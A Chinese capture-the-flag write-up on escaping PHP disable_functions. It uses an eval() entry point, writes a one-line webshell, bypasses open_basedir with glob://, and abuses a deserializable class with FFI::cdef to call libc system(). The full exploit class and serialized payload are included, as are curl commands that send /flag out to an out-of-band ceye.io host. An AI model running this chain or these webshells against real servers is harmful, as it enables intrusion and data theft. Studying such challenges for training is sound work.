代码审计和思路
<?php
if (isset($_GET['a'])) {
eval($_GET['a']);
} else {
show_source(__FILE__);
}
竟然可以任意执行命令,这个一看就不简单,先看一下phpinfo,果不其然,禁了许多函数,无疑是一个绕过disable_function的题,我们开始判断是哪种,看了php版本,7.4,大概确定是ffi
Bypass disable_functions的方法无非就那几种。黑名单是无法绕过了,因为所有PHP命令执行函数都被严格过滤了;系统是Linux,不存在COM组件绕过;过滤了dl()函数,无法通过扩展库绕过;过滤了mail和putenv等函数,无法通过LD_PRELOAD方式绕过;过滤了pcntl相关函数,无法通过该组件绕过;系统没有ImageMagick组件等等……
我们先写入一句话木马,这里需要利用file_put_contents('1.php','<?php eval($_POST["pass"]);?>');
然后我们发现还有一个文件preload.php
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];
//可以进行函数执行
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
public function __serialize(): array {
return $this->data;
}
public function __unserialize(array $data) {
//array_merge把两个数组合并为一个数组
array_merge($this->data, $data);
$this->run();
}
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
//结果输出
public function __get ($key) {
//如果$key为ret,就可以输出函数执行返回的结果
return $this->data[$key];
}
public function __set ($key, $value) {
throw new \Exception('No implemented');
}
public function __construct () {
throw new \Exception('No implemented');
}
}
当然这里我们还可以通过其他方法获取这个文件?a=print_r(scandir('./'));
可以发现当前目录的文件,其他目录的看不了,因为有 open_basedir限制,不过可以通过
glob://伪协议来Bypass open_basedir读取根目录有啥内容,发送之前先进行URL编码:
$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');};
可以发现flag文件
当然怎么看文件内容方法很多
?a=show_source('preload.php');
?a=echo(readfile('preload.php'));
?a=print_r(readfile('preload.php'));
?a=echo(file_get_contents('preload.php'));
?a=print_r(file_get_contents('preload.php')); (echo和print别忘)
一些解题的知识
FFI(Foreign Function Interface),即外部函数接口,允许从用户区调用C代码。简单地说,就是一项让你在PHP里能够调用C代码的技术。
FFI的使用分为声明和调用两个部分。
下面看个简单的使用Demo,从共享库中调用printf()函数:
<?php
// create FFI object, loading libc and exporting function printf()
$ffi = FFI::cdef(
"int printf(const char *format, ...);",
"libc.so.6");
// call C's printf()
$ffi->printf("Hello %s!\n", "world");
?>
如果ffi.cdef没有第二个参数,会在全局查找,第一个参数所声明的符号。意思就是其在不传入第二个参数时,可以直接调用php代码。
对于preload.php,我们发现类有PHP Serializable接口,
实现此接口的类将不再支持__sleep()和__wakeup(),当类的实例被序列化时将自动调用serialize方法,并且不会调用 __destruct()或有其他影响。当类的实例被反序列化时,将调用unserialize()方法,并且不执行__construct()。
如果一个类同时实现了Serializable和__Serialize()/__Unserialize(),则序列化将倾向于使用新机制,而非序列化则可以使用其中一种机制,具体取决于使用的是C(Serializable)还是O(Uu unserialize)格式。因此,以C格式编码的旧的序列化字符串仍然可以解码,而新的字符串将以O格式生成。也就是同时纯在会先触发__serialize和__unserialize,而触发他们会被直接抛出,所以编写exp,需要删掉。
利用思路
目的就是利用c库里的system函数,所以我们需要创建FFi::cdef的方法,
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
正好run函数就是一个动态调用的过程,所以我们只需要给func赋值为FFI::cdef,arg为它的参数,赋值为我们需要使用的函数int system(char *command);,因为前面也说了需要删掉冲突的方法,然后需要触发run,就要反序列化,我们index界面就可以实现
最终的exp:
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'FFI::cdef',
'arg' => 'int system(char *command);'
];
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
public function serialize () {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
}
echo(serialize(new A()));
?>
得到如下序列化内容:
1
C:1:"A":89:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}}
构造exp如下
$a=unserialize('C:1:"A":89:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}}');$a->ret->system('curl xx.ceye.io/?c=`cat /flag|base64`');
这里利用index.php的eval来限制执行反序列化操作,然后触发run()函数来调用FFI::cdef声明C中的system()函数
现在就可以使用system函数了,$this->data['ret'] = $this->data['func']($this->data['arg']);
这个函数放到了ret里面,调用
$a->ret->system('curl xx.ceye.io/?c=`cat /flag`');
执行命令,因为还是没有回显,我们需要外带或者放在tmp目录的文件里面